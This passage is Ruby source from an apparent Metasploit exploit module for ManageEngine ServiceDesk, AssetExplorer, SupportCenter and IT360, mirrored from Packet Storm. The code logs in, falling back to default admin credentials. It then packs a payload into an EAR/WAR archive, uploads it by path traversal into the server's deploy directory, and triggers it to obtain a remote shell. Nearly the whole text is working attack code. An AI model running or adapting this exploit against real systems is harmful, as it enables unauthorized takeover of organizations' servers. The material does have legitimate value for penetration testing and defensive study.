vars_post = { 'LOGIN_ID' => username, 'PASSWORD' => password, 'isADEnabled' => 'false' } else vars_post = { 'LOGIN_ID' => username, 'PASSWORD' => password, 'isADEnabled' => 'true', 'domainName' => datastore['DOMAIN_NAME'] } end res = send_request_cgi({ 'rport' => port, 'method' => 'POST', 'uri' => normalize_uri(path), 'vars_get' => { 'service' => 'ServiceDesk', 'furl' => '/', 'timestamp' => Time.now.to_i }, 'vars_post' => vars_post }) if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ # /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ -> this pattern is to avoid matching "removed" return res.get_cookies else return nil end end def get_it360_cookie_name res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri("/") }) cookie = res.get_cookies if cookie =~ /IAMAGENTTICKET([A-Z]{0,4})/ return $1 else return nil end end def login_it360 # Do we already have a valid cookie? If yes, just return that. if datastore['IAMAGENTTICKET'] cookie_name = get_it360_cookie_name cookie = 'IAMAGENTTICKET' + cookie_name + '=' + datastore['IAMAGENTTICKET'] + ';' return cookie end # get the correct path, host and port res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri('/') }) if res && res.redirect? uri = [ res.redirection.port, res.redirection.path ] else return nil end cookie = authenticate_it360(uri[0], uri[1], datastore['USERNAME'], datastore['PASSWORD']) if cookie != nil return cookie elsif datastore['USERNAME'] == 'guest' && datastore['JSESSIONID'] == nil # we've tried with the default guest password, now let's try with the default admin password cookie = authenticate_it360(uri[0], uri[1], 'administrator', 'administrator') if cookie != nil return cookie else # Try one more time with the default admin login for some versions cookie = authenticate_it360(uri[0], uri[1], 'admin', 'admin') if cookie != nil return cookie end end end nil end # # Authenticate and validate our session cookie. We need to submit credentials to # j_security_check and then follow the redirect to HomePage.do to create a valid # authenticated session. # def authenticate(cookie, username, password) res = send_request_cgi!({ 'method' => 'POST', 'uri' => normalize_uri('/j_security_check;' + cookie.to_s.gsub(';', '')), 'ctype' => 'application/x-www-form-urlencoded', 'cookie' => cookie, 'vars_post' => { 'j_username' => username, 'j_password' => password, 'logonDomainName' => datastore['DOMAIN_NAME'] } }) if res && (res.code == 302 || (res.code == 200 && res.body.to_s =~ /redirectTo="\+'HomePage\.do';/)) # sd and ae respond with 302 while sc responds with a 200 return true else return false end end def login # Do we already have a valid cookie? If yes, just return that. if datastore['JSESSIONID'] != nil cookie = 'JSESSIONID=' + datastore['JSESSIONID'].to_s + ';' return cookie end # First we get a valid JSESSIONID to pass to authenticate() res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri('/') }) if res && res.code == 200 cookie = res.get_cookies authenticated = authenticate(cookie, datastore['USERNAME'], datastore['PASSWORD']) if authenticated return cookie elsif datastore['USERNAME'] == 'guest' && datastore['JSESSIONID'] == nil # we've tried with the default guest password, now let's try with the default admin password authenticated = authenticate(cookie, 'administrator', 'administrator') if authenticated return cookie else # Try one more time with the default admin login for some versions authenticated = authenticate(cookie, 'admin', 'admin') if authenticated return cookie end end end end nil end def send_multipart_request(cookie, payload_name, payload_str) if payload_name =~ /\.ear/ upload_path = '../../server/default/deploy' else upload_path = rand_text_alpha(4+rand(4)) end post_data = Rex::MIME::Message.new if @my_target == targets[1] # old style post_data.add_part(payload_str, 'application/octet-stream', 'binary', "form-data; name=\"#{Rex::Text.rand_text_alpha(4+rand(4))}\"; filename=\"#{payload_name}\"") post_data.add_part(payload_name, nil, nil, "form-data; name=\"filename\"") post_data.add_part('', nil, nil, "form-data; name=\"vecPath\"") post_data.add_part('', nil, nil, "form-data; name=\"vec\"") post_data.add_part('AttachFile', nil, nil, "form-data; name=\"theSubmit\"") post_data.add_part('WorkOrderForm', nil, nil, "form-data; name=\"formName\"") post_data.add_part(upload_path, nil, nil, "form-data; name=\"component\"") post_data.add_part('Attach', nil, nil, "form-data; name=\"ATTACH\"") else post_data.add_part(upload_path, nil, nil, "form-data; name=\"module\"") post_data.add_part(payload_str, 'application/octet-stream', 'binary', "form-data; name=\"#{Rex::Text.rand_text_alpha(4+rand(4))}\"; filename=\"#{payload_name}\"") post_data.add_part('', nil, nil, "form-data; name=\"att_desc\"") end data = post_data.to_s res = send_request_cgi({ 'uri' => normalize_uri(@my_target['attachment_path']), 'method' => 'POST', 'data' => data, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'cookie' => cookie }) return res end def pick_target return target if target.name != 'Automatic' version = get_version if (version[0] <= 7 && version[2] < 7016 && version[3] == 'sd') || (version[0] == 4 && version[3] == 'ae') || (version[3] == 'sc') # These are all "old style" versions (sc is always old style) return targets[1] elsif version[3] == 'it' return targets[3] else return targets[2] end end def exploit if check == Exploit::CheckCode::Safe fail_with(Failure::NotVulnerable, "#{peer} - Target not vulnerable") end print_status("#{peer} - Selecting target...") @my_target = pick_target print_status("#{peer} - Selected target #{@my_target.name}") if @my_target == targets[3] cookie = login_it360 else cookie = login end if cookie.nil? fail_with(Exploit::Failure::Unknown, "#{peer} - Failed to authenticate") end # First we generate the WAR with the payload... war_app_base = rand_text_alphanumeric(4 + rand(32 - 4)) war_payload = payload.encoded_war({ :app_name => war_app_base }) # ... and then we create an EAR file that will contain it. ear_app_base = rand_text_alphanumeric(4 + rand(32 - 4)) app_xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>" app_xml << '<application>' app_xml << "<display-name>#{rand_text_alphanumeric(4 + rand(32 - 4))}</display-name>" app_xml << "<module><web><web-uri>#{war_app_base + ".war"}</web-uri>" app_xml << "<context-root>/#{ear_app_base}</context-root></web></module></application>" # Zipping with CM_STORE to avoid errors while decompressing the zip # in the Java vulnerable application ear_file = Rex::Zip::Archive.new(Rex::Zip::CM_STORE) ear_file.add_file(war_app_base + '.war', war_payload.to_s) ear_file.add_file('META-INF/application.xml', app_xml) ear_file_name = rand_text_alphanumeric(4 + rand(32 - 4)) + '.ear' if @my_target != targets[3] # Linux doesn't like it when we traverse non existing directories, # so let's create them by sending some random data before the EAR. # (IT360 does not have a Linux version so we skip the bogus file for it) print_status("#{peer} - Uploading bogus file...") res = send_multipart_request(cookie, rand_text_alphanumeric(4 + rand(32 - 4)), rand_text_alphanumeric(4 + rand(32 - 4))) if res && res.code != 200 fail_with(Exploit::Failure::Unknown, "#{peer} - Bogus file upload failed") end end # Now send the actual payload print_status("#{peer} - Uploading EAR file...") res = send_multipart_request(cookie, ear_file_name, ear_file.pack) if res && res.code == 200 print_status("#{peer} - Upload appears to have been successful") else fail_with(Exploit::Failure::Unknown, "#{peer} - EAR upload failed") end 10.times do select(nil, nil, nil, 2) # Now make a request to trigger the newly deployed war print_status("#{peer} - Attempting to launch payload in deployed WAR...") res = send_request_cgi({ 'uri' => normalize_uri(ear_app_base, war_app_base, Rex::Text.rand_text_alpha(rand(8)+8)), 'method' => 'GET' }) # Failure. The request timed out or the server went away. break if res.nil? # Success! Triggered the payload, should have a shell incoming break if res.code == 200 end end end Source : ManageEngine Multiple Products Authenticated File Upload ? Packet Storm
×
×
  • Create New...